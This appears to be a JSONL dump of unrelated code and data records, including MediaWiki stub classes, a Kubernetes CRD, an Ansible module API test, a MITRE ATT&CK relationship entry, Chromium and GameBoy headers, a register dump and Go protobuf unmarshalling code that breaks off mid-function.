unstubbing an object.\n\t *\n\t * @param Object $obj object to check.\n\t * @return bool true if $obj is not an instance of StubObject class.\n\t */\n\tstatic function isRealObject( $obj ) {\n\t\treturn is_object( $obj ) && !($obj instanceof StubObject);\n\t}\n\n\t/**\n\t * Function called if any function exists with that name in this object.\n\t * It is used to unstub the object. Only used internally, PHP will call\n\t * self::__call() function and that function will call this function.\n\t * This function will also call the function with the same name in the real\n\t * object.\n\t *\n\t * @param String $name name of the function called.\n\t * @param Array $args array of arguments.\n\t */\n\tfunction _call( $name, $args ) {\n\t\t$this->_unstub( $name, 5 );\n\t\treturn call_user_func_array( array( $GLOBALS[$this->mGlobal], $name ), $args );\n\t}\n\n\t/**\n\t * Create a new object to replace this stub object.\n\t */\n\tfunction _newObject() {\n\t\treturn wfCreateObject( $this->mClass, $this->mParams );\n\t}\n\n\t/**\n\t * Function called by PHP if no function with that name exists in this\n\t * object.\n\t *\n\t * @param String $name name of the function called\n\t * @param Array $args array of arguments\n\t */\n\tfunction __call( $name, $args ) {\n\t\treturn $this->_call( $name, $args );\n\t}\n\n\t/**\n\t * This function creates a new object of the real class and replace it in\n\t * the global variable.\n\t * This is public, for the convenience of external callers wishing to access\n\t * properties, e.g. eval.php\n\t *\n\t * @param String $name name of the method called in this object.\n\t * @param Integer $level level to go in the stact trace to get the function\n\t * who called this function.\n\t */\n\tfunction _unstub( $name = '_unstub', $level = 2 ) {\n\t\tstatic $recursionLevel = 0;\n\t\tif ( get_class( $GLOBALS[$this->mGlobal] ) != $this->mClass ) {\n\t\t\t$fname = __METHOD__.'-'.$this->mGlobal;\n\t\t\twfProfileIn( $fname );\n\t\t\t$caller = wfGetCaller( $level );\n\t\t\tif ( ++$recursionLevel > 2 ) {\n\t\t\t\tthrow new MWException( \"Unstub loop detected on call of \\${$this->mGlobal}->$name from $caller\\n\" );\n\t\t\t}\n\t\t\twfDebug( \"Unstubbing \\${$this->mGlobal} on call of \\${$this->mGlobal}::$name from $caller\\n\" );\n\t\t\t$GLOBALS[$this->mGlobal] = $this->_newObject();\n\t\t\t--$recursionLevel;\n\t\t\twfProfileOut( $fname );\n\t\t}\n\t}\n}\n\n/**\n * Stub object for the content language of this wiki. This object have to be in\n * $wgContLang global.\n */\nclass StubContLang extends StubObject {\n\n\tfunction __construct() {\n\t\tparent::__construct( 'wgContLang' );\n\t}\n\n\tfunction __call( $name, $args ) {\n\t\treturn $this->_call( $name, $args );\n\t}\n\n\tfunction _newObject() {\n\t\tglobal $wgContLanguageCode;\n\t\t$obj = Language::factory( $wgContLanguageCode );\n\t\t$obj->initEncoding();\n\t\t$obj->initContLang();\n\t\treturn $obj;\n\t}\n}\n\n/**\n * Stub object for the user language. It depends of the user preferences and\n * \"uselang\" parameter that can be passed to index.php. This object have to be\n * in $wgLang global.\n */\nclass StubUserLang extends StubObject {\n\n\tfunction __construct() {\n\t\tparent::__construct( 'wgLang' );\n\t}\n\n\tfunction __call( $name, $args ) {\n\t\treturn $this->_call( $name, $args );\n\t}\n\n\tfunction _newObject() {\n\t\tglobal $wgContLanguageCode, $wgRequest, $wgUser, $wgContLang;\n\t\t$code = $wgRequest->getVal( 'uselang', $wgUser->getOption( 'language' ) );\n\n\t\t// if variant is explicitely selected, use it instead the one from wgUser\n\t\t// see bug #7605\n\t\tif( $wgContLang->hasVariants() && in_array($code, $wgContLang->getVariants()) ){\n\t\t\t$variant = $wgContLang->getPreferredVariant();\n\t\t\tif( $variant != $wgContLanguageCode )\n\t\t\t\t$code = $variant;\n\t\t}\n\n\t\t# Validate $code\n\t\tif( empty( $code ) || !preg_match( '/^[a-z-]+$/', $code ) || ( $code === 'qqq' ) ) {\n\t\t\twfDebug( \"Invalid user language code\\n\" );\n\t\t\t$code = $wgContLanguageCode;\n\t\t}\n\n\t\tif( $code === $wgContLanguageCode ) {\n\t\t\treturn $wgContLang;\n\t\t} else {\n\t\t\t$obj = Language::factory( $code );\n\t\t\treturn $obj;\n\t\t}\n\t}\n}\n\n/**\n * Stub object for the user. The initialisation of the will depend of\n * $wgCommandLineMode. If it's true, it will be an anonymous user and if it's\n * false, the user will be loaded from credidentails provided by cookies. This\n * object have to be in $wgUser global.\n */\nclass StubUser extends StubObject {\n\n\tfunction __construct() {\n\t\tparent::__construct( 'wgUser' );\n\t}\n\n\tfunction __call( $name, $args ) {\n\t\treturn $this->_call( $name, $args );\n\t}\n\n\tfunction _newObject() {\n\t\tglobal $wgCommandLineMode;\n\t\tif( $wgCommandLineMode ) {\n\t\t\t$user = new User;\n\t\t} else {\n\t\t\t$user = User::newFromSession();\n\t\t}\n\t\treturn $user;\n\t}\n}\n"} +{"text": "apiVersion: apiextensions.k8s.io/v1beta1\nkind: CustomResourceDefinition\nmetadata:\n name: nexus.gpte.opentlc.com\nspec:\n group: gpte.opentlc.com\n names:\n kind: Nexus\n listKind: NexusList\n plural: nexus\n singular: nexus\n scope: Namespaced\n subresources:\n status: {}\n version: v1alpha1\n versions:\n - name: v1alpha1\n served: true\n storage: true\n"} +{"text": "'label':'person' 'bounding box':(1415,389,1437,418)\n'label':'person' 'bounding box':(1352,387,1366,423)\n'label':'person' 'bounding box':(1381,389,1395,423)\n'label':'person' 'bounding box':(1151,403,1170,446)\n'label':'person' 'bounding box':(1163,401,1181,448)\n'label':'person' 'bounding box':(806,422,833,489)\n'label':'person' 'bounding box':(736,425,765,486)\n'label':'person' 'bounding box':(635,416,671,493)\n'label':'bicycle' 'bounding box':(1650,461,1720,582)\n'label':'car' 'bounding box':(1690,418,2047,630)\n'label':'car' 'bounding box':(0,324,259,612)\n'label':'bicycle' 'bounding box':(977,298,1010,332)\n'label':'car' 'bounding box':(1357,437,1647,599)\n'label':'bus' 'bounding box':(1182,380,1333,455)\n"} +{"text": "'use strict';\n\n/* globals describe, expect, it, beforeEach, afterEach */\n\nvar app = require('../..');\nimport request from 'supertest';\nimport User from '../user/user.model';\n\nvar newCustomModule;\n\ndescribe('CustomModule API:', function() {\n var token;\n var user;\n\n // Clear users before testing\n before(function() {\n return User.remove().then(function() {\n user = new User({\n name: 'Fake User',\n email: 'test@example.com',\n password: 'password'\n });\n\n return user.save();\n });\n });\n\n // Clear users after testing\n after(function() {\n return User.remove();\n });\n\n describe('GET /api/users/me', function() {\n\n before(function(done) {\n request(app)\n .post('/auth/local')\n .send({\n email: 'test@example.com',\n password: 'password'\n })\n .expect(200)\n .expect('Content-Type', /json/)\n .end((err, res) => {\n token = res.body.token;\n done();\n });\n });\n\n it('should respond with a user profile when authenticated', function(done) {\n request(app)\n .get('/api/users/me')\n .set('authorization', `Bearer ${token}`)\n .expect(200)\n .expect('Content-Type', /json/)\n .end((err, res) => {\n expect(res.body._id.toString()).to.equal(user._id.toString());\n done();\n });\n });\n\n it('should respond with a 401 when not authenticated', function(done) {\n request(app)\n .get('/api/users/me')\n .expect(401)\n .end(done);\n });\n });\n\n\n describe('POST /api/custom_modules/template.py/get', function() {\n var customModules;\n\n beforeEach(function(done) {\n request(app)\n .post('/api/custom_modules/template.py/get')\n .set('authorization', `Bearer ${token}`)\n .expect(200)\n .send({\n ansibleEngine: {\n host : '',\n customModules: '/'\n }\n })\n //.expect('Content-Type', /json/)\n .end((err, res) => {\n if(err) {\n return done(err);\n }\n customModules = res.text;\n done();\n });\n });\n\n it('should respond with module_template', function() {\n expect(customModules).to.contain('import AnsibleModule');\n });\n });\n\n\n describe('POST /api/custom_modules/test_module.py', function() {\n var customModules;\n\n beforeEach(function(done) {\n request(app)\n .post('/api/custom_modules/test_module.py')\n .set('authorization', `Bearer ${token}`)\n .expect(200)\n .send({\n ansibleEngine: {\n host : '',\n customModules: '/tmp'\n },\n custom_module_code: '#!/usr/bin/python\\n' +\n '\\n' +\n 'import datetime\\n' +\n 'import json\\n' +\n '\\n' +\n 'date = str(datetime.datetime.now())\\n' +\n 'print(json.dumps({\\n' +\n '\"time\" : date\\n' +\n '}))'\n })\n //.expect('Content-Type', /json/)\n .end((err, res) => {\n if(err) {\n return done(err);\n }\n customModules = res.text;\n done();\n });\n });\n\n it('should respond with \"Saved\"', function() {\n expect(customModules).to.contain('Saved');\n });\n });\n\n describe('POST /api/custom_modules/test_module.py/test', function() {\n var result;\n\n beforeEach(function(done) {\n request(app)\n .post('/api/custom_modules/test_module.py/test')\n .set('authorization', `Bearer ${token}`)\n .expect(200)\n .send({\n ansibleEngine: {\n host : '',\n customModules: '/tmp'\n },\n moduleArgs: {}\n })\n //.expect('Content-Type', /json/)\n .end((err, res) => {\n if(err) {\n return done(err);\n }\n result = res;\n done();\n });\n });\n\n it('should respond with 200', function() {\n expect(result.status).to.equal(200);\n });\n });\n\n //TODO: Add more test cases\n\n});\n"} +{"text": "/* Copyright (c) 2013-2014 Boundless and others.\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the Eclipse Distribution License v1.0\n * which accompanies this distribution, and is available at\n * https://www.eclipse.org/org/documents/edl-v10.html\n *\n * Contributors:\n * David Winslow (Boundless) - initial implementation\n */\npackage org.locationtech.geogig.storage.datastream;\n\nimport org.locationtech.geogig.storage.ObjectSerializingFactory;\nimport org.locationtech.geogig.storage.RevFeatureSerializationTest;\n\npublic class DataStreamFeatureSerializationTest extends RevFeatureSerializationTest {\n @Override\n protected ObjectSerializingFactory getObjectSerializingFactory() {\n return new DataStreamSerializationFactoryV1();\n }\n}\n"} +{"text": "{\n \"type\": \"bundle\",\n \"id\": \"bundle--f063c3dc-eb77-49e0-8d4e-d28d208789e4\",\n \"spec_version\": \"2.0\",\n \"objects\": [\n {\n \"created_by_ref\": \"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5\",\n \"object_marking_refs\": [\n \"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168\"\n ],\n \"source_ref\": \"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e\",\n \"target_ref\": \"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0\",\n \"external_references\": [\n {\n \"url\": \"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html\",\n \"description\": \"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.\",\n \"source_name\": \"FireEye APT32 May 2017\"\n },\n {\n \"source_name\": \"Cybereason Cobalt Kitty 2017\",\n \"description\": \"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.\",\n \"url\": \"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf\"\n }\n ],\n \"description\": \"[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows. (Citation: FireEye APT32 May 2017) (Citation: Cybereason Cobalt Kitty 2017)\",\n \"relationship_type\": \"uses\",\n \"id\": \"relationship--db8530c2-ce41-4943-8a17-91502187fd06\",\n \"type\": \"relationship\",\n \"modified\": \"2019-10-11T19:30:18.670Z\",\n \"created\": \"2019-10-10T21:57:37.023Z\"\n }\n ]\n}"} +{"text": "// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef PRINTING_PAGE_SETUP_H_\n#define PRINTING_PAGE_SETUP_H_\n\n#include \"printing/printing_export.h\"\n#include \"ui/gfx/geometry/rect.h\"\n\nnamespace printing {\n\n// Margins for a page setup.\nclass PRINTING_EXPORT PageMargins {\n public:\n PageMargins();\n\n void Clear();\n\n // Equality operator.\n bool Equals(const PageMargins& rhs) const;\n\n // Vertical space for the overlay from the top of the sheet.\n int header;\n // Vertical space for the overlay from the bottom of the sheet.\n int footer;\n // Margin on each side of the sheet.\n int left;\n int right;\n int top;\n int bottom;\n};\n\n// Settings that define the size and printable areas of a page. Unit is\n// unspecified.\nclass PRINTING_EXPORT PageSetup {\n public:\n PageSetup();\n PageSetup(const PageSetup& other);\n ~PageSetup();\n\n void Clear();\n\n // Equality operator.\n bool Equals(const PageSetup& rhs) const;\n\n void Init(const gfx::Size& physical_size, const gfx::Rect& printable_area,\n int text_height);\n\n // Use |requested_margins| as long as they fall inside the printable area.\n void SetRequestedMargins(const PageMargins& requested_margins);\n\n // Ignore the printable area, and set the margins to |requested_margins|.\n void ForceRequestedMargins(const PageMargins& requested_margins);\n\n // Flips the orientation of the page and recalculates all page areas.\n void FlipOrientation();\n\n const gfx::Size& physical_size() const { return physical_size_; }\n const gfx::Rect& overlay_area() const { return overlay_area_; }\n const gfx::Rect& content_area() const { return content_area_; }\n const gfx::Rect& printable_area() const { return printable_area_; }\n const PageMargins& effective_margins() const {\n return effective_margins_;\n }\n\n private:\n // Store |requested_margins_| and update page setup values.\n void SetRequestedMarginsAndCalculateSizes(\n const PageMargins& requested_margins);\n\n // Calculate overlay_area_, effective_margins_, and content_area_, based on\n // a constraint of |bounds| and |text_height|.\n void CalculateSizesWithinRect(const gfx::Rect& bounds, int text_height);\n\n // Physical size of the page, including non-printable margins.\n gfx::Size physical_size_;\n\n // The printable area as specified by the printer driver. We can't get\n // larger than this.\n gfx::Rect printable_area_;\n\n // The printable area for headers and footers.\n gfx::Rect overlay_area_;\n\n // The printable area as selected by the user's margins.\n gfx::Rect content_area_;\n\n // Effective margins.\n PageMargins effective_margins_;\n\n // Requested margins.\n PageMargins requested_margins_;\n\n // True when |effective_margins_| respects |printable_area_| else false.\n bool forced_margins_;\n\n // Space that must be kept free for the overlays.\n int text_height_;\n};\n\n} // namespace printing\n\n#endif // PRINTING_PAGE_SETUP_H_\n"} +{"text": "/** @file gb/cgb.h\n Support for Color GameBoy.\n*/\n\n#ifndef _CGB_H\n#define _CGB_H\n\n/** Macro to create a palette entry out of the color components.\n */\n#define RGB(r, g, b) \\\n ((((UINT16)(b) & 0x1f) << 10) | (((UINT16)(g) & 0x1f) << 5) | (((UINT16)(r) & 0x1f) << 0))\n\n/** Common colors based on the EGA default palette.\n */\n#define RGB_RED RGB(31, 0, 0)\n#define RGB_DARKRED RGB(15, 0, 0)\n#define RGB_GREEN RGB( 0, 31, 0)\n#define RGB_DARKGREEN RGB( 0, 15, 0)\n#define RGB_BLUE RGB( 0, 0, 31)\n#define RGB_DARKBLUE RGB( 0, 0, 15)\n#define RGB_YELLOW RGB(31, 31, 0)\n#define RGB_DARKYELLOW RGB(21, 21, 0)\n#define RGB_CYAN RGB( 0, 31, 31)\n#define RGB_AQUA RGB(28, 5, 22)\n#define RGB_PINK RGB(11, 0, 31)\n#define RGB_PURPLE RGB(21, 0, 21)\n#define RGB_BLACK RGB( 0, 0, 0)\n#define RGB_DARKGRAY RGB(10, 10, 10)\n#define RGB_LIGHTGRAY RGB(21, 21, 21)\n#define RGB_WHITE RGB(31, 31, 31)\n\n#define RGB_LIGHTFLESH RGB(30, 20, 15)\n#define RGB_BROWN RGB(10, 10, 0)\n#define RGB_ORANGE RGB(30, 20, 0)\n#define RGB_TEAL RGB(15, 15, 0)\n\n/** Set bkg palette(s).\n */\nvoid\nset_bkg_palette(UINT8 first_palette,\n UINT8 nb_palettes,\n UINT16 *rgb_data) NONBANKED;\n\n/** Set sprite palette(s).\n */\nvoid\nset_sprite_palette(UINT8 first_palette,\n UINT8 nb_palettes,\n UINT16 *rgb_data) NONBANKED;\n\n/** Set a bkg palette entry.\n */\nvoid\nset_bkg_palette_entry(UINT8 palette,\n UINT8 entry,\n UINT16 rgb_data);\n\n/** Set a sprite palette entry.\n */\nvoid\nset_sprite_palette_entry(UINT8 palette,\n UINT8 entry,\n UINT16 rgb_data);\n\n/** Set CPU speed to slow operation.\n Make sure interrupts are disabled before call.\n\n @see cpu_fast\n */\nvoid cpu_slow(void);\n\n/** Set CPU speed to fast operation.\n Make sure interrupts are disabled before call.\n\n @see cpu_slow\n*/\nvoid cpu_fast(void);\n\n/** Set defaults compatible with normal GameBoy.\n */\nvoid cgb_compatibility(void);\n\n#endif /* _CGB_H */\n"} +{"text": "GPR0 FFFFFFFFB655FFFF\nGPR1 000000000000003C\nGPR2 FFFFFFFFF80FFE0F\nGPR3 000000000000003C\nGPR4 FFFFFFFFF5FF7FFF\nGPR5 000000000001C016\nGPR6 0000000000000000\nGPR7 0100083E0100083F\nGPR8 D5555554E39D55D8\nGPR9 D5555555555555D7\nGPR10 0000000000000000\nGPR11 0000000000000000\nGPR12 0000000000000000\nGPR13 000001485E000000\nGPR14 0000000000700580\nGPR15 00000000000045C8\nGPR16 FFFFFFFFFFFFFFFF\nGPR17 00009241F5E754A3\nGPR18 0000000000000000\nGPR19 0000000000000000\nGPR20 00000000A42F0000\nGPR21 0000000000000040\nGPR22 0000000000000040\nGPR23 FFFFFFFFFFFFFFFF\nGPR24 FFFFFFFFFFFFFFFE\nGPR25 0000000000001000\nGPR26 000000000001C005\nGPR27 D5555554E39D55D7\nGPR28 0000000000000000\nGPR29 0000000000000000\nGPR30 0000000000000000\nGPR31 \nCR 000000005290930D\nLR 0000000000000000\nCTR 0000000000000040\nXER 00000000C008000C\n\n"} +{"text": "\n"} +{"text": "// Go support for Protocol Buffers - Google's data interchange format\n//\n// Copyright 2016 The Go Authors. All rights reserved.\n// https://github.com/golang/protobuf\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived from\n// this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\npackage proto\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"unicode/utf8\"\n)\n\n// Unmarshal is the entry point from the generated .pb.go files.\n// This function is not intended to be used by non-generated code.\n// This function is not subject to any compatibility guarantee.\n// msg contains a pointer to a protocol buffer struct.\n// b is the data to be unmarshaled into the protocol buffer.\n// a is a pointer to a place to store cached unmarshal information.\nfunc (a *InternalMessageInfo) Unmarshal(msg Message, b []byte) error {\n\t// Load the unmarshal information for this message type.\n\t// The atomic load ensures memory consistency.\n\tu := atomicLoadUnmarshalInfo(&a.unmarshal)\n\tif u == nil {\n\t\t// Slow path: find unmarshal info for msg, update a with it.\n\t\tu = getUnmarshalInfo(reflect.TypeOf(msg).Elem())\n\t\tatomicStoreUnmarshalInfo(&a.unmarshal, u)\n\t}\n\t// Then do the unmarshaling.\n\terr := u.unmarshal(toPointer(&msg), b)\n\treturn err\n}\n\ntype unmarshalInfo struct {\n\ttyp reflect.Type // type of the protobuf struct\n\n\t// 0 = only typ field is initialized\n\t// 1 = completely initialized\n\tinitialized int32\n\tlock sync.Mutex // prevents double initialization\n\tdense []unmarshalFieldInfo // fields indexed by tag #\n\tsparse map[uint64]unmarshalFieldInfo // fields indexed by tag #\n\treqFields []string // names of required fields\n\treqMask uint64 // 1< 0 {\n\t\t// Read tag and wire type.\n\t\t// Special case 1 and 2 byte varints.\n\t\tvar x uint64\n\t\tif b[0] < 128 {\n\t\t\tx = uint64(b[0])\n\t\t\tb = b[1:]\n\t\t} else if len(b) >= 2 && b[1] < 128 {\n\t\t\tx = uint64(b[0]&0x7f) + uint64(b[1])<<7\n\t\t\tb = b[2:]\n\t\t} else {\n\t\t\tvar n int\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t}\n\t\ttag := x >> 3\n\t\twire := int(x) & 7\n\n\t\t// Dispatch on the tag to one of the unmarshal* functions below.\n\t\tvar f unmarshalFieldInfo\n\t\tif tag < uint64(len(u.dense)) {\n\t\t\tf = u.dense[tag]\n\t\t} else {\n\t\t\tf = u.sparse[tag]\n\t\t}\n\t\tif fn := f.unmarshal; fn != nil {\n\t\t\tvar err error\n\t\t\tb, err = fn(b, m.offset(f.field), wire)\n\t\t\tif err == nil {\n\t\t\t\treqMask |= f.reqMask\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif r, ok := err.(*RequiredNotSetError); ok {\n\t\t\t\t// Remember this error, but keep parsing. We need to produce\n\t\t\t\t// a full parse even if a required field is missing.\n\t\t\t\tif errLater == nil {\n\t\t\t\t\terrLater = r\n\t\t\t\t}\n\t\t\t\treqMask |= f.reqMask\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != errInternalBadWireType {\n\t\t\t\tif err == errInvalidUTF8 {\n\t\t\t\t\tif errLater == nil {\n\t\t\t\t\t\tfullName := revProtoTypes[reflect.PtrTo(u.typ)] + \".\" + f.name\n\t\t\t\t\t\terrLater = &invalidUTF8Error{fullName}\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// Fragments with bad wire type are treated as unknown fields.\n\t\t}\n\n\t\t// Unknown tag.\n\t\tif !u.unrecognized.IsValid() {\n\t\t\t// Don't keep unrecognized data; just skip it.\n\t\t\tvar err error\n\t\t\tb, err = skipField(b, wire)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\t// Keep unrecognized data around.\n\t\t// maybe in extensions, maybe in the unrecognized field.\n\t\tz := m.offset(u.unrecognized).toBytes()\n\t\tvar emap map[int32]Extension\n\t\tvar e Extension\n\t\tfor _, r := range u.extensionRanges {\n\t\t\tif uint64(r.Start) <= tag && tag <= uint64(r.End) {\n\t\t\t\tif u.extensions.IsValid() {\n\t\t\t\t\tmp := m.offset(u.extensions).toExtensions()\n\t\t\t\t\temap = mp.extensionsWrite()\n\t\t\t\t\te = emap[int32(tag)]\n\t\t\t\t\tz = &e.enc\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif u.oldExtensions.IsValid() {\n\t\t\t\t\tp := m.offset(u.oldExtensions).toOldExtensions()\n\t\t\t\t\temap = *p\n\t\t\t\t\tif emap == nil {\n\t\t\t\t\t\temap = map[int32]Extension{}\n\t\t\t\t\t\t*p = emap\n\t\t\t\t\t}\n\t\t\t\t\te = emap[int32(tag)]\n\t\t\t\t\tz = &e.enc\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif u.bytesExtensions.IsValid() {\n\t\t\t\t\tz = m.offset(u.bytesExtensions).toBytes()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tpanic(\"no extensions field available\")\n\t\t\t}\n\t\t}\n\t\t// Use wire type to skip data.\n\t\tvar err error\n\t\tb0 := b\n\t\tb, err = skipField(b, wire)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t*z = encodeVarint(*z, tag<<3|uint64(wire))\n\t\t*z = append(*z, b0[:len(b0)-len(b)]...)\n\n\t\tif emap != nil {\n\t\t\temap[int32(tag)] = e\n\t\t}\n\t}\n\tif reqMask != u.reqMask && errLater == nil {\n\t\t// A required field of this message is missing.\n\t\tfor _, n := range u.reqFields {\n\t\t\tif reqMask&1 == 0 {\n\t\t\t\terrLater = &RequiredNotSetError{n}\n\t\t\t}\n\t\t\treqMask >>= 1\n\t\t}\n\t}\n\treturn errLater\n}\n\n// computeUnmarshalInfo fills in u with information for use\n// in unmarshaling protocol buffers of type u.typ.\nfunc (u *unmarshalInfo) computeUnmarshalInfo() {\n\tu.lock.Lock()\n\tdefer u.lock.Unlock()\n\tif u.initialized != 0 {\n\t\treturn\n\t}\n\tt := u.typ\n\tn := t.NumField()\n\n\t// Set up the \"not found\" value for the unrecognized byte buffer.\n\t// This is the default for proto3.\n\tu.unrecognized = invalidField\n\tu.extensions = invalidField\n\tu.oldExtensions = invalidField\n\tu.bytesExtensions = invalidField\n\n\t// List of the generated type and offset for each oneof field.\n\ttype oneofField struct {\n\t\tityp reflect.Type // interface type of oneof field\n\t\tfield field // offset in containing message\n\t}\n\tvar oneofFields []oneofField\n\n\tfor i := 0; i < n; i++ {\n\t\tf := t.Field(i)\n\t\tif f.Name == \"XXX_unrecognized\" {\n\t\t\t// The byte slice used to hold unrecognized input is special.\n\t\t\tif f.Type != reflect.TypeOf(([]byte)(nil)) {\n\t\t\t\tpanic(\"bad type for XXX_unrecognized field: \" + f.Type.Name())\n\t\t\t}\n\t\t\tu.unrecognized = toField(&f)\n\t\t\tcontinue\n\t\t}\n\t\tif f.Name == \"XXX_InternalExtensions\" {\n\t\t\t// Ditto here.\n\t\t\tif f.Type != reflect.TypeOf(XXX_InternalExtensions{}) {\n\t\t\t\tpanic(\"bad type for XXX_InternalExtensions field: \" + f.Type.Name())\n\t\t\t}\n\t\t\tu.extensions = toField(&f)\n\t\t\tif f.Tag.Get(\"protobuf_messageset\") == \"1\" {\n\t\t\t\tu.isMessageSet = true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tif f.Name == \"XXX_extensions\" {\n\t\t\t// An older form of the extensions field.\n\t\t\tif f.Type == reflect.TypeOf((map[int32]Extension)(nil)) {\n\t\t\t\tu.oldExtensions = toField(&f)\n\t\t\t\tcontinue\n\t\t\t} else if f.Type == reflect.TypeOf(([]byte)(nil)) {\n\t\t\t\tu.bytesExtensions = toField(&f)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tpanic(\"bad type for XXX_extensions field: \" + f.Type.Name())\n\t\t}\n\t\tif f.Name == \"XXX_NoUnkeyedLiteral\" || f.Name == \"XXX_sizecache\" {\n\t\t\tcontinue\n\t\t}\n\n\t\toneof := f.Tag.Get(\"protobuf_oneof\")\n\t\tif oneof != \"\" {\n\t\t\toneofFields = append(oneofFields, oneofField{f.Type, toField(&f)})\n\t\t\t// The rest of oneof processing happens below.\n\t\t\tcontinue\n\t\t}\n\n\t\ttags := f.Tag.Get(\"protobuf\")\n\t\ttagArray := strings.Split(tags, \",\")\n\t\tif len(tagArray) < 2 {\n\t\t\tpanic(\"protobuf tag not enough fields in \" + t.Name() + \".\" + f.Name + \": \" + tags)\n\t\t}\n\t\ttag, err := strconv.Atoi(tagArray[1])\n\t\tif err != nil {\n\t\t\tpanic(\"protobuf tag field not an integer: \" + tagArray[1])\n\t\t}\n\n\t\tname := \"\"\n\t\tfor _, tag := range tagArray[3:] {\n\t\t\tif strings.HasPrefix(tag, \"name=\") {\n\t\t\t\tname = tag[5:]\n\t\t\t}\n\t\t}\n\n\t\t// Extract unmarshaling function from the field (its type and tags).\n\t\tunmarshal := fieldUnmarshaler(&f)\n\n\t\t// Required field?\n\t\tvar reqMask uint64\n\t\tif tagArray[2] == \"req\" {\n\t\t\tbit := len(u.reqFields)\n\t\t\tu.reqFields = append(u.reqFields, name)\n\t\t\treqMask = uint64(1) << uint(bit)\n\t\t\t// TODO: if we have more than 64 required fields, we end up\n\t\t\t// not verifying that all required fields are present.\n\t\t\t// Fix this, perhaps using a count of required fields?\n\t\t}\n\n\t\t// Store the info in the correct slot in the message.\n\t\tu.setTag(tag, toField(&f), unmarshal, reqMask, name)\n\t}\n\n\t// Find any types associated with oneof fields.\n\t// TODO: XXX_OneofFuncs returns more info than we need. Get rid of some of it?\n\tfn := reflect.Zero(reflect.PtrTo(t)).MethodByName(\"XXX_OneofFuncs\")\n\t// gogo: len(oneofFields) > 0 is needed for embedded oneof messages, without a marshaler and unmarshaler\n\tif fn.IsValid() && len(oneofFields) > 0 {\n\t\tres := fn.Call(nil)[3] // last return value from XXX_OneofFuncs: []interface{}\n\t\tfor i := res.Len() - 1; i >= 0; i-- {\n\t\t\tv := res.Index(i) // interface{}\n\t\t\ttptr := reflect.ValueOf(v.Interface()).Type() // *Msg_X\n\t\t\ttyp := tptr.Elem() // Msg_X\n\n\t\t\tf := typ.Field(0) // oneof implementers have one field\n\t\t\tbaseUnmarshal := fieldUnmarshaler(&f)\n\t\t\ttags := strings.Split(f.Tag.Get(\"protobuf\"), \",\")\n\t\t\tfieldNum, err := strconv.Atoi(tags[1])\n\t\t\tif err != nil {\n\t\t\t\tpanic(\"protobuf tag field not an integer: \" + tags[1])\n\t\t\t}\n\t\t\tvar name string\n\t\t\tfor _, tag := range tags {\n\t\t\t\tif strings.HasPrefix(tag, \"name=\") {\n\t\t\t\t\tname = strings.TrimPrefix(tag, \"name=\")\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Find the oneof field that this struct implements.\n\t\t\t// Might take O(n^2) to process all of the oneofs, but who cares.\n\t\t\tfor _, of := range oneofFields {\n\t\t\t\tif tptr.Implements(of.ityp) 